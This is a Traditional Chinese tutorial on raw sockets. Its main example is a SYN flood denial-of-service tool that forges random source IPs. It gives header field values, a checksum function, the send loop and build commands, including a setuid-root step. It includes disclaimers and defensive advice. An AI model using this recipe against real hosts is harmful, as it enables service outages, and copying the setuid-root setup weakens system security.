原始套接字讓應用程式繞過傳輸層,直接操作 IP 層封包,是網路安全研究、協議分析、客製化協議實作的利器。本文將系統講解原始套接字建立流程、關鍵結構體操作,並通過一個 SYN Flood 攻擊範例(僅供教學與防禦研究使用,嚴禁用於非法攻擊),深度剖析 TCP/IP 封包手工構造與發送機制。
int sockfd = socket(AF_INET, SOCK_RAW, protocol);
關鍵在於第三個參數 protocol,決定封包處理層級:
IPPROTO_ICMP:接收/發送 ICMP 封包(如 ping 實作)IPPROTO_TCP:直接操作 TCP 封包(需自行填寫 TCP 標頭)IPPROTO_UDP:直接操作 UDP 封包IPPROTO_RAW:完全手工構造 IP 標頭(含 IP 選項)權限提示:建立原始套接字需 root 權限(或 CAP_NET_RAW capability),普通用戶需透過 setuid 或 sudo 執行。
int on = 1;
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
啟用後,核心不再自動填寫 IP 標頭,應用程式必須完整構造 struct iphdr。若不設定,核心會根據目的地址自動填寫 IP 標頭(僅適用於 TCP/UDP 原始套接字)。
sendto(sockfd, buffer, len, 0, (struct sockaddr *)&dest, sizeof(dest));
目的地址結構體 sockaddr_in 僅用於路由查找與鏈路層封裝,實際 IP 封包內容完全由 buffer 內容決定。
代碼功能:偽造隨機來源 IP,向目標 80 埠發送大量 SYN 封包,耗盡目標半連接佇列導致拒絕服務。
inet_aton 失敗時回退 gethostbyname。socket(AF_INET, SOCK_RAW, IPPROTO_TCP)。struct iphdr):
ip_v=4、標頭長度 ip_hl=5(20 bytes)ip_tos=0、總長度 ip_len(IP+TCP 標頭)ip_id=0(核心自動填充)、片段偏移 ip_off=0ip_ttl=255、協議 ip_p=IPPROTO_TCPip_sum=0(核心自動計算)ip_dst、來源 IP ip_src(攻擊迴圈中隨機偽造)struct tcphdr):
source=8888、目的埠 dest=80seq=random()、確認號 ack_seq=0doff=5(20 bytes)、SYN 標誌 syn=1while(1) 持續偽造來源 IP、計算 TCP 校驗和、sendto 發送。unsigned short check_sum(unsigned short *addr, int len) {
register int sum = 0, nleft = len;
unsigned short *w = addr, answer = 0;
while (nleft > 1) { sum += *w++; nleft -= 2; }
if (nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *)w; sum += answer; }
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
標準 RFC 1071 算法:16 位元字組求和、進位回卷、取反碼。
gcc -o dos dos.c
chown root:root dos
chmod +s dos # 設定 setuid bit,允許普通用戶以 root 權限執行
./dos localhost # 僅對本機測試,嚴禁指向他人主機
觀察現象:目標機 netstat -an 將出現大量 SYN_RECV 狀態連接,服務回應變慢或拒絕新連接。
原始套接字將「核心自動封裝」轉為「應用程式手工構造」,賦予了完全控制權,也帶來了安全風險。理解其機制有助於:
tcp_syncookies、限制半連接佇列、部署 IDS/IPS 異常流量檢測警示:任何未經授權的網路攻擊均屬違法。本文代碼僅供在受控實驗環境中學習協議細節與防禦策略,請嚴格遵守網路安全法律法規。